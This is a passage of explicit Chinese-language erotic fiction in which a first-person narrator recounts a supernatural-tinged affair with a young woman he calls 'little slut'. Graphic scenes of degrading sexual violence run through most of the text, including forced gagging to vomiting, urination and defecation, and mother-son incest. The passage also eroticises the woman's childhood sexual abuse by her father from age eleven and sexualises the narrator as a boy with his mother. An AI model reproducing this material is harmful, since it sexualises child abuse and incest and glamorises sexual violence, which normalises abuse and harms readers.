我问:“窗户外头那玩意儿一直盯着你被同伙肏到高潮?”

她说:“它就一直趴玻璃外头。它没五官,我不知道它能不能看到我……”

我问:“骚货,那你脸上咋来的伤?”

她说:“后来那东西揪我脑袋可劲儿奔展台犄角上磕。你知道我这人心里向往被虐待,我不明白为什么。反正当时我特舒服、特愿意那样子被折磨。后来我慢慢就豁出去了,我想,那样死掉也挺好。估计刘胡兰自己躺大铡刀底下的时候也这么想的吧?”

我想起老仙说过的天庭正在酝酿把小骚货“召回”。莫非已经悄悄派“人”

来了?若真派“人”来了,为啥还留着她?世间有这么一骚货你知道祸害多少弟兄啊我靠!

我说:“后来!”

她说:“后来我就跟磕头虫似的往展台犄角上磕,后来就没知觉了。再后来我醒过来,那些东西都没了。天快亮了,我就跳出博物馆,回了你这儿。”

我说:“那你干吗骗我说你鬼打墙了?”

她说:“知道了真相你心里真舒坦么?”

我一愣,立马想到她跟我说的她和她爸爸的事儿是不是也有编造成分。

脑子要短路,后脊梁发冷。赶紧又一大口酒掫(zhōu)下去,壮壮胆。

不灵。喝酒都不灵。干脆拉开灯,警惕地扫视公寓的每个角落。

未见异常。

我能感觉到她的恐惧,发自内心的恐惧。这世界我们看不见的太多、不知道的太多。我就靠!最近我的生活怎么了?!

妈妈瞬间伸六米的腿、我肚子上拱起来的狗蛋、神秘碎裂的避邪、老瓢、电

视机,现在又是没五官的穿棉猴的鬼……

这世上有鬼!真的有。当时我满脑子想的是:快刀斩乱麻踢掉她!我腻歪了!

我俩上床,钻进被窝。

我点根儿烟,左臂扬起垫后脑勺,右手夹烟,盘算着怎么甩掉她。

她慵懒地爬起来,光着身子亲吻我胳肢窝,然后趴我胸口,看我吸烟,崇拜地说:“知道么?你抽烟的样子特成熟。我喜欢。”

我已经烦透了,我腻歪了她的骚劲儿,可她这一句话还是打动了我。

前妻反对我抽烟。我跟前妻内几年饭后一棵烟都得孤零零一个人缩着脖子下楼到小区院子里抽。不怕你笑话我,这是我跟她离婚的主要理由之一。

现在,蓝色的晨光中,我冲动地搂着她,但在心底提醒自己:这是我俩最后一次这么赤裸裸坦诚相拥。明天早上我一准让她滚蛋!

同一屋檐下,两只绝望蝼蚁光着身子紧紧贴在一起,互相取暖,趴被窝里,只露脑瓜在被窝外,小声聊着天,看着玻璃窗外缓缓飘落的雪花。我忽然意识到我几乎从没跟前妻有过深夜恳谈。

小骚货轻轻捏过我指间的香烟,嘬一口,美美地陶醉,呼出烟雾。

我也不知道怎么想的,下意识随口哼唱:

是否这次我将真的离开你/是否这次我将不再哭/是否这次我将一去不回头/走向那条漫漫永无止境的路~

她把香烟还给我,很松弛地接下去唱第二段:

是否这次我已真的离开你/是否泪水已干不再流/是否应验了我曾说的内~~句话/情到深处人孤独……

音还挺准。看来她也喜欢这歌儿。

我吸一口香烟,呼出,再递给她。她接过去,跟我合声唱:

多少次的寂寞挣扎在心头/只为挽回我将远去的脚步/多少次我忍住胸口的泪水/只是为了告诉我自己我不在乎……

居然唱出了两个声部。

算起来,我跟小骚货相识没多久,但灵魂上好像有多处默契。

我和她不约而同都陷入沉思、闭上嘴不再唱了。

歌声嘎然而止,余音飘向公寓各个角落,最后被墙壁吸收。

我愣住,心如滚开的腊八粥,咕嘟咕嘟沸腾。

前妻不爱唱歌。她从来不唱。也从不喝酒。

从离婚前,到离婚后,我一直期盼着有一天,我能跟一女的分享一支烟、一瓶酒、合唱同一首歌。

我找啊找啊找肏友,愣找不到一个全方位合适的。

找一女烟友却不喜K歌、找一爱K歌的却不抽烟、好不容易找一又喜K歌又

能抽烟的却不能容忍我喝酒。

生活就是这么无奈。

现在我怀里的姑娘正在跟我分享一支烟、一瓶酒,刚刚还在默契合唱同一首歌,跟我有过屎尿横流的酣畅高潮,而我却在暗暗盘算着怎么踢掉她。我竟如此猥琐?

她从小没了妈、亲爸奸淫她、完事儿抛弃她。她含辛茹苦进城倒腾香蕉这么一年轻姑娘她容易么她?

可怜的姑娘,年轻的心混乱不堪,还没整出条理,还没找到真爱,就有人托梦给我,说她是青蛇,心性至淫。

她的确淫贱,她这么年轻,这么稚嫩,天庭却在酝酿将其“召回”……

如果我踢开她,她将被踢到何处?

何不留下她赌一把、看我能不能用真爱感动天庭?(像我上辈子对我妈妈那样?)

她跟我分享一支烟、一瓶酒、一首歌这一瞬间细节影响了我的抉择判断。

事后冷静审视当时的决断,发现人在关键时刻的抉择往往会被偶然的外力所左右。这很珍贵,说明我良心未泯。

良心未泯也很可悲。江湖险恶。冷酷的现实一遍又一遍教训我的天真,我却跟着感觉走。

这事儿的后果再次证明跟着感觉走是傻屄。“偶然的外力”很可能是海市蜃楼,而且不幸被多次验证。

我掐灭烟头,把她抱在怀里。

我摸她下面。她下面粘乎乎、热哄哄的。我闻闻手指,一股淡淡的生腥味。

我把硅胶蛇塞她屄里,然后摸她屁眼儿。

她说:“他老是一边儿玩儿我屄屄一边儿说我‘脏’、说我是‘坏姑娘’。”

我问:“你啥感觉?喜欢么?”

她说:“嗯,很难说。他的手淫让我舒服,让我兴奋,也让我感觉我特‘脏’。有时我自己摸小屄的时候让他抱着我,有时候他说我‘贱’。我会兴奋,操我自己的小脏屄达到高潮。有时候他让我自己扒开屁股,他舔我屁眼儿。有时候完事儿之后他说我一辈子都没出息、光想着让男人肏屄,说我是没用的人渣。”

我继续摸她屁眼儿,不动声色问:“那你觉得你是不是骚屄?”

她说:“嗯,我是,我是。你是不是特爱听女人说这个?”

我不理她,转而挑逗地挠她豆豆。她呼哧带喘。

我把她翻过去,趴在她屁股后面,扒开她的两扇屁股蛋子,舔她肛门,同时抖动露她屄屄外面的硅胶蛇尾巴。

她屁眼儿微臭,松弛绵软。我舔她肛门括约肌。

她扭着小腰,含混不清地说:“你说……如果拿活鳝鱼塞进去会咋样?”

蛇尾巴上已经挂满她屄屄里分泌出的动情粘液。

我问:“哪儿?前边还是后边?”

她呻吟如叹气,说:“同时……唔爸爸你肏得我好舒服哎!”

我舔她豆豆。

她说:“啊!啊~~嚄……噢!”

我轻轻嘬咬她敏感的小骚豆。她的身体开始大力挺起。我听到活鱼上岸“啪啪”的声音。

骚货来劲了!

活鱼悲惨地呻吟呜咽,像急救室里的车祸幸存者一样。

活鱼被我淫到高潮之后,浑身松弛,全散架了。

我抱着她。她在我怀里安然入睡。

我看着玻璃窗。窗外,雪更大了。

一只黑色夜鸟立我窗外空调压缩机上,闪动眼睛,冲我诡异一笑,倏忽间振翅飞走。

我听见二十公里以外的列车鸣叫……

后半夜,我醒来,发现她在摸我肚脐下边那个“狗蛋”。她忽闪着好看的眼睛问我:“哎你这啥玩意儿?”

我对她耳语说:“我发育了,正往外拱第二条鸡巴。”

她惊喜地说:“真的?那我以后得爽死了!”

她摸摸我的真鸡巴,摸摸我的二鸡巴。二鸡比真鸡还硬朗。

我冷冷问:“你现在又跟那帮搞艺术的胡搞上了?”

她说:“啥叫胡搞啊?我挣钱了!”

她翻钱包拿出三张一百的,交给我。

我问:“怎么意思?”

她说:“都给你、算这些天的房钱、饭钱,够不够?”

我说:“你怎么挣的?”

她说:“昨天下午你走了以后,他们带去我他们那儿试镜。光试镜我就挣了三百块呢!说以后还会高。”

我漠然说:“你真棒。”

她说:“是啊,我也觉得我挺棒的。三百呢!我特高兴!”

我说:“别给我。你好好留着吧。这是你血汗钱。”

她说:“不行!你不拿不行!我是住房的,当然得交钱!再说以后还能挣呢~”

我说:“有钱了咱也不能显富啊。”

她说:“是,你放心,我有三千块我也继续装穷。得艰苦朴素对吧?”

我说:“没错没错。哎我说,你了解他们么?内帮都是什么人啊?”

她说:“我觉得他们是好人。”

我说:“好人?搞艺术的能有好人么?你没听说流氓都搞艺术去了!”

她问:“那艺术家呢?”

我现编,用马三立的语调冷冷说:“艺术家都开餐馆了你不知道啊?一个个下海经商,谁还有心思搞艺术?”

她问:“啊真的?那商人呢?”

我说:“商人?没被枪毙的准在跑路、没跑路的准在买艺术品洗钱。”

她问:“那跑路的呢?”

我说:“跑路的混混嫌流氓头衔寒碜,就拼了命地堕落,结果最后都成了艺术家了。”

她笑起来,眼睛弯弯的,挺好看。

她说:“可是土匪他们都挺仗义的。唉哟他们那些大摩托……”

我打断她,问:“土匪是谁?”

她说:“就搞人体摄影那大哥。”

我说:“喔。”

她说:“他挺有想法的。”

我说:“喔。”

她说:“他们都挺喜欢我的。”

我说:“是吗?你们怎么认识的?”

她说:“就那天有一星探找我……”

我问:“你跟土匪肏屄了?”

她脸上突然狰狞起来,反问:“你是我爹么?我爹都没你这么絮叨!没完没了的。”

她这种人格分裂式的攻击性让我特反感。

我仇恨所有自以为是的女人。我讨厌所有蔑视男人的屄。

我起身点根儿烟,光着膀子坐床边儿抽。我不喜欢拉上窗帘。我看到玻璃窗外,街灯下,大雪纷纷扬扬,无声坠落。

两个人在一起,其实就躺床上的俩刺猬。都浑身尖刺,还都犯贱。一犯贱就抱一块儿。抱一块儿准有被伤害的。

咋办?不抱成不成?嗯?

小骚货躺我身后默默看我抽烟。她应该知道我心情不好。可她就是不说句软话。

乡下姑娘犯起轴来我跟你说嘿,比城里人犯贱还厉害!

我给她大后背。我知道她不可能睡着。我知道她也知道我在这种心情下也不可能睡觉。我知道她也知道我俩在僵持着。

我就是不想说话。最后还是小骚货打破沉默。

她起身,软绵绵趴我肩膀上,热热的嘴唇亲吻我的肩膀。

她边吻边低声问:“爸爸想不想肏我?”

我还要当多久她爸的surrogate?

她坐我身后,俩手从后边软软绕过来,指尖轻轻摸我鸡巴,她的手指形状很好看,指甲形状亦不俗。

我正看着,忽然听到她惊讶地问:“你还软着?”

我反问:“看来你这两天摸了不少硬的?”

她问我:“嗯对呀,人家是小骚货嘛……”

我钻进被子,揉她光溜溜的后背。

我说:“一大帮陌生男人围着你喀喳喀喳按单反数码,很爽么?”

她说:“嗯,挺刺激的。我跟他们说我妹得了白血病。男人真好糊弄。”

我看着她脸上的伤痕说:“明儿跟土匪说,让他拍一套严刑拷打小孕妇写真集。”

她兴奋地说:“土匪大哥真这么说的,让我当模特扮女烈!还说我的特点是特别真实,一点儿不做作。”

我说:“对,你就本色表演就挺好,把你这骚劲儿都使出来,再来点儿fe

tish、hogtie、gag、choke、tickling、extr

eme什么的,保你一夜窜红。”

她说:“我心里喜欢被蹂躏被虐待。我也不知道为啥。反正就是喜欢,喜欢被紧紧绑起来的感觉,喜欢被很多陌生男人肏. ”

我感慨说:“所以CarlWeter坚持认为,能不能成才,全看早期对潜能的开发。施教比天赋更重要。”

她困惑:“卡啥玩意儿?啥意思?”

稍微拐个弯儿,她理解起来就费劲。就这智商还玩儿北漂呢?

我不得不换大白话说:“其实每个人生来都能成为一个优秀的骚货,只不过有人生在重视教育的家庭,有人生在忽略教育的家庭。你呢你命好,生在乡村教师家里,爸爸知道男人都喜欢骚屄,你十一岁那会儿爸爸就调教你,把你各种犯骚潜能都开发出来了,而且进入血液,成为本能,所以你现在大受欢迎。爸爸是个杰出的教育大师。”

她这回听懂了,回味着轻声说:“原来是这样!”

我说:“你注定会成为不平凡的人,一个对社会有用的人。”

她兴奋地微笑着问:“真的?”

我说:“真的。其实一个女人的一生应当这样度过:不为虚度年华而懊悔,不为碌碌无为而羞愧,在临死的时候,她能说:我没错过任何一个男人。”

她说:“爸爸真有文采!”

当流氓遭遇阿甘,很难搞清楚到底谁比谁更傻、谁在愚弄谁。

我问:“你现在一天不挨肏就浑身难受是吧?”

她说:“是!爸爸一会儿想怎么肏骚我?”

爸爸真能把闺女肏脑积水?还是这白痴已修炼到炉火纯青的境界跟我这儿大智若愚?

她捂着肚子,表情痛苦。

我问:“你咋了?”

她说:“我肚子不好受。”

我用干热的手掌揉她肚子。

她说:“爸爸我要拉……”

我鼓励她说:“拉吧,都拉出来吧。”

她说:“让我起来!”

我拿一枕巾铺她屁股下边,说:“就这儿拉。”

她拉床上了,呻吟着,两条肉腿不停地扭曲、搅动,好像在骑自行车。

热热软屎噗唧噗唧从她屁眼儿冒出来,果酱似的。她屁眼儿污秽可爱、丑陋不堪。我喜欢。

她在无声落泪。我亲她软奶头、软肚脐。

她说:“嗯!肏我!爸爸肏我!肏我屄屄!”

我把硅胶蛇揪出来,把鸡巴肏进滑溜溜的热屄。

我插进去以后就不再动。她怎么催我求我我都不动。

我设想的是千方百计玩弄她,在她马上要高潮的时候把她轰出我公寓。我想要彻底羞辱她。

我开始在她屄里撒尿。她觉察到我的阴谋,立刻开始呻吟。热热的尿液从她屄眼儿往外流,流到床上。我俩都不在乎。

尿完之后我才开始肏屄。

我扣紧她屁股,像疯子一样肏她虚弱的身子。她柔软的白色肉体在粗野肏动下花枝乱颤,像狂风暴雨中飘零的落叶。

她哼着:“嗯!爸爸肏我!使劲儿!爸爸肏我臭臭!”

我把鸡巴抽出来,塞进她黏糊糊的谷道。她浑身明显绷紧,达到更高水平的兴奋plateau.她的犯贱进一步刺激了我。我拿硬鸡巴咕叽咕叽肏她屎眼儿、顶着乙状结肠拐弯处的热热肠窝。

她的臭气热腾腾的,蒸着我,围绕着我,刺激着我,折磨着我。那是十足肉感的臭气。

我放任自己淹死在快感旋涡之中。

她兴奋地呻吟说:“喔好~爸爸肏我!肏我屁屁!肏死我得了!”

她浑身颤抖,屁股抽搐,嘶叫着达到高潮。

我跟她合唱,怒吼着把热精射进她刚拉完的沾着屎渣的直肠。

伴随猛烈射精,我感到晕眩,飘飘然,逐渐失去知觉。

这就是很多人追求的high吧。吸粉儿、蹦极、玩儿滑翔伞、飙车,殊途同归。

我恢复了知觉,呻吟着意识到我身在公寓、刚肏完小骚货,意识到小骚货光着身子趴在我身边用手纸给我清理鸡巴上的精液和屎渣。

我说:“好闺女,乖,快盖上被子。别冻着。”

她给我清理好,拿开屁股下面那条污秽不堪的枕巾,去冲澡。

我已经神志不清,很快睡着。迷糊中,感觉床在微微颤动。

我睁开眼睛,看见小骚货在我旁边高高扬起肉腿,用蜡烛肏自己屁眼儿。

她望着我说:“爸爸帮我好么?”

蜡烛很粗,表面光滑。

我说:“忘了问你老家在哪儿?”

她说:“周营镇七棵树村石门沟啊。”

真的?还是串供?

我问:“你不是跟我说你爸出走了么?”

她说:“是啊,没错。好多年了。我十二岁他就跑了,我再也没见过他。”

我问:“那你咋让老K带你回老家看你爸?”

她震惊地说:“他胡说!我没说过!”

我问:“那他带你回去没有?”

她说:“没有哇!你可千万别信猥哥说的。我发现他说话前后都对不上。你说他傻蛋呀还是机贼呀?”

我感觉自己深陷无间道泥潭。到底谁说的是实话?我该信谁的话?

为啥我要进这无间道?

我讨厌瞎话连篇的日子。累。

我问:“那你内天都在老K咖啡馆?”

她说:“嗯,对。”

我问:“那你那天回来的时候屄里的精液是谁的?”

她说:“我说了你不许生气。”

我说:“快说。我不生气。”

她说:“是猥哥……他弄我……他强迫我……”

她舔着硅胶蛇的脑袋。

我说:“含进去!”

她张开嘴,把蛇头含进口腔。

我说:“再深!”

她歪过上身,把脑袋探到床沿外,细嫩脖子用力向后仰,后脑勺垂下,嗓子跟床平行。

她大张开嘴,把那条半透明的蛇强力插进自己食道。

她呼吸急促了,胸脯开始起伏,两坨奶像豆腐似的横着晃。

我一边肏她,一边攥住那条蛇,使劲往她食道中下段捅。

她鼻孔张大,跟大马似的,脸色发青,胸脯在剧烈起伏,明显的呕吐反射。

她会喷出来么?管她!吐就吐。吐才爽。

我用力拿那蛇肏她的嘴和食管、食道。

忽然,她的鼻孔喷出东西。我赶紧把那蛇揪出来,把她翻过去,让她的嘴对着床外。

大量胃内容物从她口腔中猛烈喷出,喷到床边地板上。

胃内容物基本黄色,酸臭。食糜混合着大小不等的食块儿,还有好多粘乎乎的胃液、胆汁。

我手里那蛇浑身滑溜溜的,沾满她的呕吐物。

她浑身软绵绵的,瘫在床上,肚子还一抽一抽的,但已没啥可吐。

我从后边肏她凹屄,然后把那蛇对准她屁股眼儿插进去。她的呕吐物充当润滑,没费劲就进去了。

她悲惨地呻吟。蛇已钻进一尺。蛇对肠的暴虐,又刺激了她的消化道。她趴在床边,又吐出一些残余胃液、胆汁。

我说:“你这小骚货!脏屄!往后肏!”

她吃力地往后挺动身子,配合我肏她前后两个白热的孔腔。

第二天上午,醒来之后,我问小骚货:“去过哪个公园?”

她说:“没。从来没去过。”

我的心忽悠一沉,问:“小时候呢?”

她平淡回答说:“小时候也没去过。”

我问:“你爸你妈没工夫陪你玩儿?”

她说:“工夫有的是。可没钱。”

我说:“穿衣服。今天我带你去一个公园。”

她高兴极了,穿戴整齐,蹦蹦跳跳摽着我胳膊出了公寓大门。

街头,一串婚车缓缓驶过。敞篷花车、摄像车、后边的迎亲车队。

她自言自语:“看那新娘笑得多开心……我好羡慕她呀!啥时候我也能像她这样啊?”

我说:“会有这么一天,你比她还美。”

她说:“真的么?我老感觉我永远不会。”

她盯着婚车,我看着她。是啊。她会有这一天么?

难得的晴天,但是更加干冷。风后暖、雪后寒。她脸蛋冻得通红,头发梢周围微微闪动阳光。一绺头发被硬的冷风扫到睫毛上。

她微微眯起眼睛,用手把那绺头发捋到耳朵后面。

硬的风再次调戏她,把那绺头发掼到她脸蛋上、两片嘴唇之间。

她专注地望着那一长串婚车,不再管那头发。

进了公园。她突然说:“我来过这儿!”

我说:“不,你没来过。”

她不容置疑地说:“我来过!我肯定来过!这条弯路走到头儿往左拐过去有一个六角亭子,对不对?”

我说:“对。可你刚说的你哪个公园都没去过。你爸你妈没钱。”

她含糊了,满脸困惑:“是啊,没错。可我真的感觉我来过这儿。”

我慢悠悠说:“这座公园有二百六十多年历史,你前世来过并不奇怪。”

湖结了冰。大雪盖着整个冰面。上面一个人都没有。

她说:“真像个大棉被。”

我说:“大棉被上一个脚印都没有,多可惜呀?”

她说:“你啥意思?”

我说:“走!咱糟蹋糟蹋大棉被去!”

我拉着她翻过铁栏杆,走上冰面。她颤颤巍巍曲着腿,揪着我的衣服,死活不敢往湖心走。

我说:“没关系,只要咱俩体重加一块不超过二百四十斤,这冰就不裂。你看,我一百三十斤,你一百斤,咱俩棉袄、裤子、鞋加在一起……”

她信以为真,睁大眼睛,更加不敢往前走了。

我哈哈大笑,一把给她推倒。她吓坏了,脸也白了,手也哆嗦了,斜趴在冰雪上不敢动。

我说:“骗你呢,这湖每年冬天冻冰两米厚。”

我在她旁边跑来跑去,出溜出溜滑冰。她看了半天,发现真的没危险,这才站起来,尝试着跟我一起滑雪滑冰打雪仗。

很快,她脸上恢复了红色,恢复了笑容。跟着我跑啊滑呀,呼嗤带喘。

我俩在大雪的湖面上快活地打滚,脑子里什么都不想,十足俩小畜生。

我俩浑身上下从头发到眉毛衣裳裤子全是白雪,连鞋里都是雪花化的冰水。

我甚至抓着她的脚脖子转圈儿抡她抡啊抡啊越抡越快然后把她狠狠抡出去,看着她尖叫着在冰面上横着漂移。

这是她今生童年被错过、被剥夺的游戏。

我忽然说:“告诉你实话,这几年全球变暖,这湖冰每年冬天都会裂开好几回,淹死冻死的人多了,成了水鬼。听说水鬼只要拉下去一个活人,就能复活上岸。”

她安安静静听着,眼睛睁得圆圆的,脸上的红晕和笑容再次消退。

我刨开脚边的冰面积雪,说:“哎呀你看你看这下面有个绿脸!是个女的!

快跑!她眼睛睁开啦!”

说完我撒丫子往岸上跑。她顾不上查看我所谓的绿脸,只管在我后边紧追不舍,好像后上岸的一定会死。

趁她心情不错,我提建议说:“我去带你做个全面体检好不好?”

她断然拒绝说:“不要、不要。”

我问:“为什么?”

她说:“我身体特好。我不去医院。”

我说:“必要的时候还是得去……”

她打断我说:“我不想去!我就是不去!医院不干净,晦气。”

这姑娘已时日无多。我想对她好。

我想犯贱。她贱我贱全民犯贱。

人不犯贱我不犯贱;人若犯贱我更犯贱。

谁敢说“爱”不是“犯贱”?!?!

我揽着她的腰,沿着湖边惬意地走。

她看着远处纯白的雪地,开始轻声唱:“为什么就是找不到/无邪的玫瑰花?”

我和(hè):“为什么遇见的王子都不够王子啊?”

她接下去唱:“我并不期盼他会有玻璃鞋和白马/我惊讶的是情话竟然会变

成谎话。”

这歌儿我熟啊!我唱第二段:“为什么幸福的青鸟要飞的那么高?为什么苹果和拥抱都可能是毒药?”

她唱:“我从没想过有了他还孤单的可怕,我突然想起从前陪我那个洋娃娃。”

我俩合唱:“我不想我不想不想长大,长大后世界就没有花;我不想我不想不想长大,我宁愿永远又笨又傻。我不想我不想不想长大,长大后我就会失去他。

我深爱的他深爱我的他,已经变的不像他……”

我用双手捧着她微凉的脸蛋,凝望着她。这姑娘已够命苦。

她说:“干吗?大流氓良心发现了?”

我说:“大流氓想对你好。”

她忽然眨着眼问我:“你到底有多少钱?”

嘎崩一下,我对她的好感荡然无存。她仍然这么俗不可耐!这姑娘真是我的宿命么?

我说:“嗯不是太多,反正目前够咱造仨月的。如果有啥特殊需求……”

她打断我,直截了当问:“你老防着我是么?”

我上下打量她。我有义务信任她么?我凭啥信任她?

她微笑说:“好了,看把你吓得!你以为我会讹你买房买车么?”

睡到后半夜,我醒来,在我公寓里,搂着小骚货,一起看监控器。画面上出现妈妈。我看见我妈正跟二拐肏屄。

二拐动作很温柔。妈妈叫二拐抽她嘴巴。二拐于心不忍,只是象征性轻轻抽她嘴巴。

妈妈一边呻吟着,一边说:“使劲儿!使劲儿!”

二拐开始加力。我点根儿烟,看着画面,给我妈家拨电话。

画面上,座机炸响。我看到妈妈和二拐同时一激冷,停下动作。

二拐犹豫一下,撤出大直鸡巴,走向座机,拿起话筒接电话:“喂?”

大汗淋漓,气喘吁吁,毫不遮掩。我看到他鸡巴上挂着粘粘的液体和红色的经血。妈妈的经血。

为什么女人都是骚货?

妈妈正挨操。

我一边操小骚骚儿,一边通过电话跟二拐说:“你干她!狠狠干她!”

小骚骚儿一边挨操,一边看监视器。

醒来发现又是一枕黄梁。小骚货在我旁边呼呼大睡。

二拐跟我妈到底有“情况儿”没有?我不得而知。真相是隐藏在海面下的冰山大部,是darkness.

次日我去了我妈那儿。一进门儿就发现墙上贴的黄纸符咒歪了,往顺时针方向歪。

我给扶正,后脊梁呼呼窜冷气,止不住。这冷气三伏天打出来该多好?

我用手指摸弄妈妈的尿道,同时捻弄弹奏妈妈肿胀的阴蒂。

此刻妈妈的阴蒂并不特别大,跟泡膨胀的大葡萄干差不多。

妈妈呻吟着说:“弄我……弄疼妈妈!弄妈妈尿道!把妈妈弄疼!妈妈想要~”

我加力指奸妈妈尿道。一些热尿开始顺着我的手指从妈妈尿道往外流。

不知道为啥,我喜欢失禁的女人,不管大、小便,就是喜欢。

此时妈妈的阴蒂已进一步胀大,大小如饱满的花生米。

我逐渐加力,蹂躏妈妈的阴蒂。

此时妈妈的尿道口已相当松弛,像新媳妇的小软屄,湿漉漉张开着。我把妈妈的身体反过来,让她撅在床上。

我把大硬鸡巴费劲地肏进妈妈尿道。里边滚烫滑润。

我一边肏妈妈尿道,一边手淫妈妈的屎眼儿。妈妈摇晃着沉重的肉屁股,像猪一样哼叽。我捻她软奶头、嘬她光脚趾。

妈妈望着镜子里她自己的裸体镜象。公寓里飘着她微臭的麝香。

我把鸡巴顶进她烂屄子,狠狠捣她柔韧的宫颈口。宫颈口很柔韧,像婴儿紧攥着的小拳头。宫颈口有好多分泌出来的粘乎乎的东西。我歇斯底里肏她,就跟没明天似的。我把手指杵妈妈嘴里。妈妈嘬着我的手指,从半睁的眼帘后审视我。

忽然感觉妈妈像埃及艳后在居高临下静观斗兽。

没射,但累了。累了就睡。

睡梦中,梦到我十几岁的时候反复梦到的一个情境:一小男孩尿急,找厕所,找不到,好不容易找一公厕,赶紧跑进去。

此时我已变成内小男孩。

抬眼看,这是一宽敞明亮的厕所,左手一溜蹲坑,二十多个,一览无余,一个面目不清的女人露着大白屁股,在蹲着拉屎。我激动。感到女人闻我头发,摸我肩膀,摸我两腿中间,摸我蛋蛋,摸我小鸡儿。小鸡变大鸡,硬撅撅的。女人亲我脸。特别舒服温暖,忽然发现那女人是妈妈。我的下半身猛烈痉挛收缩。

早上醒来,发现裤衩里粘乎乎的一大滩粘液。

妈妈已起床。我对妈妈说:“妈妈,我遗精了。”(当年的住房条件限制。

一居室。爸爸常年在外,驻外地办事处。我和妈妈同睡一张床。)到现在我不知

道那夜妈妈是否真的摸了我……

妈妈当时很镇定地说:“哦?不是尿床?”

我当时就很清楚:我没尿床、我是遗精了。

我有点儿伤自尊,大声儿说:“不是尿床!是遗精!”

妈妈说:“拿来,妈闻闻。”

我脱下满是精液的沉甸甸的裤衩,放到妈妈鼻子下面,给妈妈闻。

我到今天都记得妈妈那天早上的样子。她陶醉地闻了又闻,一边闻一边抬眼睛望着我。

我站在旁边,极力试图说服妈妈我没尿床、我遗精了。

妈妈吸着鼻子,闻了再闻,好像生怕有误,最后我胳膊都举累了,妈妈才说:“嗯,我儿子长大了。”

妈妈说这话的时候,脸上表情怪怪的,语调也怪怪的。

我说:“好了,我要去洗了。”

妈妈恋恋不舍地望着我,最后说:“好吧……”

后来我再遗精,早上妈妈会对着湿湿的床单看着我说:“这又是你弄的吧?”

我特不好意思。

妈妈的表情好像又高兴又担心。再后来我再遗精,妈妈让我把凉凉的精液抹她脸上,说能美容。我照办……

醒来,先看我给扶正的那黄纸符咒。明显又歪了!我再次给扶正,然后走进卫生间撒尿。哗哗尿完冲掉,抬头一看,镜子里有一女的,一袭白裙,披头散发,脸蛋铁青,大而无神的黑眼珠子死死盯着我看,好像有很多话想要对我诉说。

我大叫一声,赶紧回头,我身后并没啥一袭白裙的黑眼珠女的。再看镜子,里头并没有黑眼珠女人。

妈妈在卧室问:“怎么了儿子?”

我走回卧室对妈妈说:“妈,没事儿。”

正说着,忽然窗外刮起一阵妖风。妖风起兮云飞扬!

妈妈平静地说:“儿子,你吓死我了……”

妈妈跟我说着说着话突然声音骤变,完全变成另外一个人,说的全是别人家的事情,忽而假声忽而真嗓,比较可怕,好像精神分裂的雌雄同体轮流发声:“你们丫也不管我!你三哥顶不是东西!我这儿都流脓了他还让我种地!”

我知道,妈妈再次被附了体了。

我扑进厨房、抄起张小泉剁肉刀、返身跑回卧室,冲不断絮叨的妈妈怒吼:“滚蛋!我肏你大爷你丫再来我剁你丫挺的拿你丫包饺子吃!”

忽然,卧室里安静下来,妈妈的嗓音和眼神都恢复正常。她抬起头望着我,疑惑地问:“儿子,你冲我举个大菜刀干吗?”

晚上十一点,筋疲力尽回到我的公寓,发现小骚货在给我煮咖啡。背景音乐是温和的德彪西。小骚货对着我扭动身体,开始脱衣服。我捏住她脖子、让她穿好衣服跟我出门。

她问:“干吗?”

我说:“跟我走。别问。到了就知道。”

顶着疯狂的大雪出门,一路上拼出老命拉着她(否则抽了筋儿的西北风就把她吹福建去了)。我知道她多次双脚离地……

街头已空无一人。到了药店,砸开24小时应急小窗。

药店值班的白大褂是个小伙子,一米八,二十出头,白白净净,戴金丝眼镜,眼珠在小骚货身上扫来扫去。

我说:“劳驾来两瓶儿甘油。”

小伙子说:“好的,十六块一瓶,一共三十二。”

小伙子交货、收钱,眼珠始终在小骚货身上扫来扫去。小骚货的腰肢开始扭动,眼睛唰唰放电。我知道,这屄又要发淫。

小伙子找我零钱的功夫,我对小骚货耳语:“觉他咋样?”

小母狗轻声感叹说:“哎妈呀他真帅!”

提着甘油离开药店,走出三百米,我突然把她按在雪地上,四肢着地。

我掏出肿胀的鸡巴,在厚厚的积雪上肏她。

我一边肏她一边啪啪刮打她凉屁股,骂着:“骚屄!烂屄!我叫你骚!!”

她的身体猛烈颤抖,一半出于极寒,一半出于兴奋。

她的屁股和腰扭着,像一条发情母狗。屁股蛋上努起两百多颗鸡皮疙瘩。

高潮中,她的尿把下面的白雪弄黄了。在我眼里,她那被严寒冻得发红的裸体哀婉动人。

我旁边儿雪地上,躺着十几根粗大冰棱。我抄起其中一根儿,插进她屁股眼儿。

她浑身一激灵,热肠夹着那根大粗冰棱,呻吟说:“爸你真流氓!”

我说:“没错,爸是大流氓。”

她痛苦地说:“爸你弄得我又想拉稀了,咋办?”

我说:“好办。就这儿拉!”

她光着身子光着脚赤裸裸蹲在洁白的雪地上,试图放松屁眼儿。冰棱在她屁眼儿里迅速融化。

我点根儿烟,围着她慢慢散步。我残忍地审视她,审这动了情的年轻母兽。

母兽要拉,凹屄和屁眼儿暗自翕动。我把她推倒,就势侧着干她。

她满足地哼哼:“嗯……肏我!唉哟……肏我!唉哟不行了爸爸我真要拉了!”

我一边肏她热屄一边说:“拉吧!骚货!都给爸爸拉出来!”

她用力。冰棱化为冰水,和她直肠里的大便搅拌成湿润的稀屎,咕叽咕叽涌出她屁眼儿。

她释然喘气。热热的稀屎钻出她屁眼儿,冒着热气儿。

她被我肏得张着嘴,黑眼珠往上翻,在高潮中往雪地上喷着灰褐色稀屎。

一辆空出租捋着马路牙子缓缓驶来。我看那的哥。那的哥看我,然后缓缓走远。

我带小骚货回到公寓。淋浴后,双双钻进被窝。

我摸着她发凉的大腿。她用两条大腿把我的手紧紧夹住。我的手顶在她阴屄上。

她说:“刚才在雪地上做真刺激啊。知道么?挨你肏是我最幸福的时候。”

我冷冷说:“你是想说挨肏是你最幸福的事儿吧?”

她说:“说啥呢?人家说的是挨你肏……”

我打断她说:“老K的鸡巴比我大。咱干完以后你不是一直惦记他么?”

她说:“我是内种人么?”

我说:“你是。你以为你不是大喇,可你还就是。”

她问:“你生我气了?”

我说:“哪儿的话?你不配让我生气。你奶奶还在么?”

她说:“不在了。我六岁的时候奶奶就死了。”

我摸她滑溜的年轻的身体,深深凝望她的眼睛。我想我能否用真情降住她、收住她那颗善变的奔腾的淫心。

我说:“江湖险恶,出门在外要处处小心,事事多留个心眼儿。”

她问:“你要赶我走?”

我说:“不。你想回来的话随时可以回来。我只是想对你好,真的。”

爱的感觉特别好。爱就是犯贱。找到一个能安全犯贱的对象并敞开喽犯贱,这就是所谓“爱”给人带来的迷醉错觉。

